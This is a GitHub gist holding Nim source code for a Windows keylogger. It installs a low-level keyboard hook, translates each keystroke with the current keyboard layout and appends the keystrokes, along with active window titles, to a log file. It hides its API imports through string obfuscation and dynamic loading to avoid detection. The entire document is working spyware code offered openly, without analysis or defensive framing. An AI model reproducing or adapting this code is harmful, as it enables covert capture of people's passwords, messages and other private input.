Created
September 22, 2018 11:01
-
-
Save enthus1ast/8485cd4612cc7d797f3ab4fd3ed4862c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##Geht net | |
## ` ´ <enter_numpad> | |
import winim, os, dynlib, strutils, dbg | |
import tables, ltab, hashes, unicode | |
import nimUnsorted/win/ps | |
import nimUnsorted/cross/hideStrings | |
let WH_KEYBOARD_LL = cc 13 | |
## To hide the importnames | |
type | |
TGetAsyncKeyState = proc (P1: int32): SHORT {.cdecl.} | |
TSetWindowsHookEx = proc (P1: int32, P2: HOOKPROC, P3: HINSTANCE, P4: DWORD): HHOOK {.cdecl.} | |
TGetKeyState = proc (P1: int32): SHORT {.cdecl.} | |
TGetKeyboardState = proc (P1: PBYTE): BOOL {.cdecl.} | |
TCallNextHookEx = proc (P1: HHOOK, P2: int32, P3: WPARAM, P4: LPARAM): LRESULT {.cdecl.} | |
TGetWindowThreadProcessId = proc (P1: HWND, P2: PDWORD): DWORD {.cdecl.} | |
TGetKeyboardLayout = proc (P1: DWORD): HKL {.cdecl.} | |
TToUnicodeEx = proc (P1: UINT, P2: UINT, P3: PBYTE, P4: LPWSTR, P5: int32, P6: UINT, P7: HKL): int32 {.cdecl.} | |
let u32 = loadLib(cc"user32.dll") | |
var | |
GetAsyncKeyState = cast[TGetAsyncKeyState](u32.checkedSymAddr(cc"GetAsyncKeyState")) | |
SetWindowsHookEx = cast[TSetWindowsHookEx](u32.checkedSymAddr(cc"SetWindowsHookExW")) | |
GetKeyState = cast[TGetKeyState](u32.checkedSymAddr(cc"GetKeyState")) | |
GetKeyboardState = cast[TGetKeyboardState](u32.checkedSymAddr(cc"GetKeyboardState")) | |
CallNextHookEx = cast[TCallNextHookEx](u32.checkedSymAddr(cc"CallNextHookEx")) | |
GetWindowThreadProcessId = cast[TGetWindowThreadProcessId](u32.checkedSymAddr(cc"GetWindowThreadProcessId")) | |
GetKeyboardLayout = cast[TGetKeyboardLayout](u32.checkedSymAddr(cc"GetKeyboardLayout")) | |
ToUnicodeEx = cast[TToUnicodeEx](u32.checkedSymAddr(cc"ToUnicodeEx")) | |
type | |
KBDLLHOOKSTRUCT* = object | |
vkCode*: DWORD | |
scanCode*: DWORD | |
flags*: DWORD | |
time*: DWORD | |
dwExtraInfo*: ULONG_PTR | |
PKBDLLHOOKSTRUCT* = ptr KBDLLHOOKSTRUCT | |
LPKBDLLHOOKSTRUCT* = ptr KBDLLHOOKSTRUCT | |
proc keyPressed(key: int): bool = | |
return (GetAsyncKeyState(key.int32) < 0) | |
proc isShiftPressed(): bool = return keyPressed(VK_SHIFT) | |
proc isAltPressed(): bool = return keyPressed(VK_MENU) | |
proc isCtrlPressed(): bool = return keyPressed(VK_CONTROL) | |
proc isShiftLocked(): bool = | |
if ((GetKeyState(VK_CAPITAL) and 0x0001)!=0): | |
return true | |
else: | |
return false | |
proc isAnyShift(): bool = | |
## true if shift is in capital state | |
## false if shift is not in capital state | |
## respects locked shift and shift | |
result = isShiftLocked() | |
result = result xor isShiftPressed() | |
proc getCurrentKeyboardLayout(): HKL = | |
## returns the *active* windows current keyboard layout | |
var | |
foregroundWindow = GetForegroundWindow() | |
foregroundWindowPid: DWORD | |
dwThreadId = GetWindowThreadProcessId(foregroundWindow, foregroundWindowPid.addr) | |
return GetKeyboardLayout(foregroundWindowPid) | |
var logfile = open(cc"logfile.txt", fmAppend) | |
var longNames = newLtab() | |
proc log(str: string) = | |
write(logfile, str) | |
logfile.flushFile() | |
var | |
lastActiveWindow: string = "" | |
currentActiveWindow: string = "" | |
proc hookWriterImpl(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall, gcsafe.} = | |
dbg "" | |
currentActiveWindow = getActiveWindowTitle() | |
if lastActiveWindow != currentActiveWindow: | |
dbg currentActiveWindow | |
log "\p===" & currentActiveWindow & "===\p" | |
lastActiveWindow = currentActiveWindow | |
# currentKBL = getCurrentKeyboardLayout() # should work but "Jj" | |
dbg "nCode:", nCode | |
dbg "wParam:", wParam | |
dbg "lParam:", lParam | |
dbg "------" | |
var p: PKBDLLHOOKSTRUCT = cast[PKBDLLHOOKSTRUCT](lParam) | |
dbg "p.vkCode", $p.vkCode.chr | |
# dbg p.vkCode.chr | |
dbg "p.scanCode: ", p.scanCode | |
dbg "p.flags: ",p.flags | |
dbg "p.time:", p.time | |
dbg "======" | |
dbg "SHIFT:", isShiftPressed() # KeyPressed(VK_SHIFT) | |
dbg "SHIFT LOCKED:", isShiftLocked() | |
dbg "IS ANY SHIFT:", isAnyShift() | |
dbg "ALT:", isAltPressed() | |
# if isAltPressed(): log("<ALT>") | |
dbg "CTL:", isCtrlPressed() | |
# if p.flags <= 0 or isAltPressed() : # keydown | |
if wParam == WM_SYSKEYDOWN or wParam == WM_KEYDOWN: | |
if longNames.hasKey(p.vkCode.hash()): | |
log longNames[p.vkCode.hash()] | |
else: | |
var | |
buf: LPWSTR = cast[LPWSTR](newWideCString(newString(16))) | |
keystate: PBYTE = cast[PBYTE](alloc(256)) | |
currentKBL = getCurrentKeyboardLayout() | |
let sizeWritten = ToUnicodeEx(p.vkCode, p.scanCode, keystate , buf, 16, 0, currentKBL ) | |
dbg "SIZE WRITTEN:", $sizeWritten | |
if sizeWritten == -1: | |
dbg "BUF (-1):" & $buf | |
if sizeWritten == 1: | |
echo "BUF (1char):" & $buf | |
log($buf) | |
# dbg "BUF (1char):" & $buf | |
# echo "BUF<<<<< ", $buf | |
# # log $(buf[].int) | |
# var buf2 = buf[].uint16 | |
# log Rune(cast[int32](buf2)).toUTF8() | |
# # if isAnyShift(): | |
# # log(unicode.toUpper($buf)) ## TODO bug Jj | |
# # else: | |
# # log(unicode.toLower($buf)) ## TODO bug Jj | |
if sizeWritten > 1: | |
let buf2 = ($buf)[0..sizeWritten] | |
dbg "BUF RUNE:" , Rune(cast[int32](buf2)).toUTF8() | |
dealloc(keystate) | |
return CallNextHookEx(WH_KEYBOARD_LL, nCode, wParam, lParam) | |
var hookWriter: HOOKPROC = hookWriterImpl | |
var hook = SetWindowsHookEx(WH_KEYBOARD_LL.int32, hookWriter, 0.HINSTANCE, 0.DWORD) | |
if hook != 0: dbg "set ll hook" | |
var msg: MSG | |
while(GetMessage(msg, 0, 0, 0) > 0): | |
discard TranslateMessage(msg) | |
discard DispatchMessage(msg) | |
# UnhookWindowsHookEx(hook); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment